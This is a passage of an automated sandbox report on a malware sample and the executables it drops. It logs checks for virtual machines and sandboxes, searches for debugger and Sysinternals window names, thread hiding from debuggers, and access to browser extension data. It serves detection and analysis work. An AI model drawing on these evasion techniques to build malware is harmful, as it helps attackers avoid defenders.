Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2340.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2340.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2340.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2340.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2340.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2340.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2340.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2340.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2340.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2340.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2340.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2340.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2340.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2340.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2340.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2340.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2340.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2340.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2340.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2340.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2340.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2340.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2340.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2340.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2340.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2340.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2340.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2340.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2340.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2340.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2340.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2340.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2340.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2340.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2340.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2340.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2340.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2340.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2340.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2340.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2340.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2340.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2340.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2340.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2340.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2340.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2340.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2340.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2340.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2340.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2340.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2340.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2340.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2340.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2340.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2340.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\2340.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion:

Tries to evade analysis by execution special instruction which cause usermode exception

Show sources

Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Special instruction interceptor: First address: 0000000000DDFC16 instructions 0F0B caused by: Known instruction #UD exception
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Special instruction interceptor: First address: 0000000002701BBA instructions 0F3F070BC745FCFFFFFFFF33C033D2 caused by: Unknown instruction #UD exception
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Special instruction interceptor: First address: 0000000002702729 instructions 0F0B caused by: Known instruction #UD exception
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Special instruction interceptor: First address: 000000000270EE06 instructions 0F0B caused by: Known instruction #UD exception
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Special instruction interceptor: First address: 00000000027184C6 instructions 0F3F070BC745FCFFFFFFFF33C033D2 caused by: Unknown instruction #UD exception
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Special instruction interceptor: First address: 0000000002718AFD instructions 0F0B caused by: Known instruction #UD exception
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Special instruction interceptor: First address: 000000000270540F instructions 0F3F070B33C033D23945080F95C264 caused by: Unknown instruction #UD exception
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Special instruction interceptor: First address: 000000000270547C instructions 0FC7C8 caused by: Known instruction #UD exception

Query firmware table information (likely to detect VMs)

Show sources

Source: C:\Users\user\AppData\Local\Temp\12F1.exe	System information queried: FirmwareTableInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\305.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Show sources

Source: C:\Users\user\AppData\Local\Temp\305.exe

File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: hiftsuu, 0000000C.00000002.816174425.0000000002140000.00000004.00000001.sdmp	Binary or memory string: ASWHOOK
Source: v72n86vFFq.exe, 00000004.00000002.736834352.00000000004FB000.00000004.00000020.sdmp	Binary or memory string: ASWHOOKG

Checks if the current machine is a virtual machine (disk enumeration)

Show sources

Source: C:\Users\user\Desktop\v72n86vFFq.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\v72n86vFFq.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\v72n86vFFq.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\v72n86vFFq.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\v72n86vFFq.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\v72n86vFFq.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hiftsuu	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hiftsuu	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hiftsuu	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hiftsuu	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hiftsuu	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hiftsuu	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\51B3.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\51B3.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\51B3.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\51B3.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\51B3.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\51B3.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Show sources

Source: C:\Users\user\AppData\Local\Temp\12F1.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

Source: C:\Windows\explorer.exe TID: 5148	Thread sleep count: 576 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 1296	Thread sleep count: 133 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 5500	Thread sleep count: 190 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6292	Thread sleep count: 317 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 4876	Thread sleep count: 79 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 4928	Thread sleep count: 58 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 4616	Thread sleep count: 319 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1EAA.exe TID: 6976	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44A2.exe TID: 4904	Thread sleep count: 50 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2340.exe TID: 4180	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\timeout.exe TID: 6136	Thread sleep count: 36 > 30

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2340.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\explorer.exe

Window / User API: threadDelayed 576

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\44A2.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\sqlite3[1].dll

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\12F1.exe

Code function: 9_2_00DF2823 rdtsc

9_2_00DF2823

Source: C:\Users\user\AppData\Local\Temp\44A2.exe

Registry key enumerated: More than 151 enums for key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

Source: C:\Users\user\AppData\Local\Temp\12F1.exe	File opened / queried: VBoxGuest	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\305.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\305.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\305.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\AppData\Local\Temp\12F1.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1EAA.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2340.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\44A2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\html\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44A2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\_locales\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44A2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44A2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\images\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44A2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44A2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\css\	Jump to behavior

Source: 305.exe, 00000016.00000002.943749543.0000000000BBE000.00000004.00000020.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}@
Source: Amcache.hve.19.dr	Binary or memory string: VMware
Source: Amcache.hve.19.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/5&1ec51bf7&0&000000
Source: Amcache.hve.19.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.19.dr	Binary or memory string: VMware, Inc.
Source: explorer.exe, 00000006.00000000.700986229.000000000A60E000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: Amcache.hve.19.dr	Binary or memory string: VMware Virtual disk SCSI Disk Devicehbin
Source: WerFault.exe, 00000013.00000002.891900624.0000000004E80000.00000004.00000001.sdmp, WerFault.exe, 00000013.00000003.884390501.0000000004EFD000.00000004.00000001.sdmp, WerFault.exe, 00000013.00000002.892613042.0000000004EFE000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW
Source: 12F1.exe, 00000009.00000002.972625235.0000000002700000.00000040.00000001.sdmp	Binary or memory string: !"K\\.\VBoxGuest
Source: Amcache.hve.19.dr	Binary or memory string: VMware, Inc.me
Source: explorer.exe, 00000006.00000000.711355658.0000000004710000.00000004.00000001.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000[Wm
Source: explorer.exe, 00000006.00000000.729575553.000000000A716000.00000004.00000001.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000/
Source: explorer.exe, 00000006.00000000.729664580.000000000A780000.00000004.00000001.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000@
Source: Amcache.hve.19.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/5&1ec51bf7&0&000000
Source: explorer.exe, 00000006.00000000.700986229.000000000A60E000.00000004.00000001.sdmp	Binary or memory string: AGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: Amcache.hve.19.dr	Binary or memory string: @scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/5&280b647&0&000000
Source: Amcache.hve.19.dr	Binary or memory string: VMware-42 35 9c fb 73 fa 4e 1b-fb a4 60 e7 7b e5 4a ed
Source: explorer.exe, 00000006.00000000.711409801.0000000004791000.00000004.00000001.sdmp	Binary or memory string: War&Prod_VMware_SATA
Source: explorer.exe, 00000006.00000000.700986229.000000000A60E000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000006.00000000.725672640.0000000006650000.00000004.00000001.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: Amcache.hve.19.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.19.dr	Binary or memory string: VMware7,1
Source: Amcache.hve.19.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.19.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.19.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW71.00V.13989454.B64.1906190538,BiosReleaseDate:06/19/2019,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware7,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.19.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.19.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: explorer.exe, 00000006.00000000.715546156.000000000A784000.00000004.00000001.sdmp	Binary or memory string: 6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}YY
Source: Amcache.hve.19.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/5&280b647&0&000000
Source: explorer.exe, 00000006.00000000.729664580.000000000A780000.00000004.00000001.sdmp	Binary or memory string: #{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}YY

Source: C:\Users\user\Desktop\v72n86vFFq.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\v72n86vFFq.exe

0_2_004342F0

Source: C:\Users\user\Desktop\v72n86vFFq.exe

System information queried: ModuleInformation

Jump to behavior

Anti Debugging:

Tries to detect sandboxes and other dynamic analysis tools (window names)

Show sources

Source: C:\Users\user\AppData\Local\Temp\305.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\305.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\305.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\305.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\305.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\305.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\305.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\305.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Open window title or class name: windbgframeclass

Hides threads from debuggers

Show sources

Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\305.exe	Thread information set: HideFromDebugger

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Show sources

Source: C:\Users\user\Desktop\v72n86vFFq.exe	System information queried: CodeIntegrityInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hiftsuu	System information queried: CodeIntegrityInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\51B3.exe	System information queried: CodeIntegrityInformation

Source: C:\Users\user\Desktop\v72n86vFFq.exe

0_2_0042D8E0

Source: C:\Users\user\Desktop\v72n86vFFq.exe	Code function: 0_2_007E59D4 push dword ptr fs:[00000030h]	0_2_007E59D4
Source: C:\Users\user\AppData\Roaming\hiftsuu	Code function: 8_2_004E0042 push dword ptr fs:[00000030h]	8_2_004E0042
Source: C:\Users\user\AppData\Local\Temp\44A2.exe	Code function: 17_2_00401000 mov eax, dword ptr fs:[00000030h]	17_2_00401000
Source: C:\Users\user\AppData\Local\Temp\44A2.exe	Code function: 17_2_0040BDE0 mov eax, dword ptr fs:[00000030h]	17_2_0040BDE0

Source: C:\Users\user\Desktop\v72n86vFFq.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12F1.exe	Process queried: DebugFlags	Jump to behavior
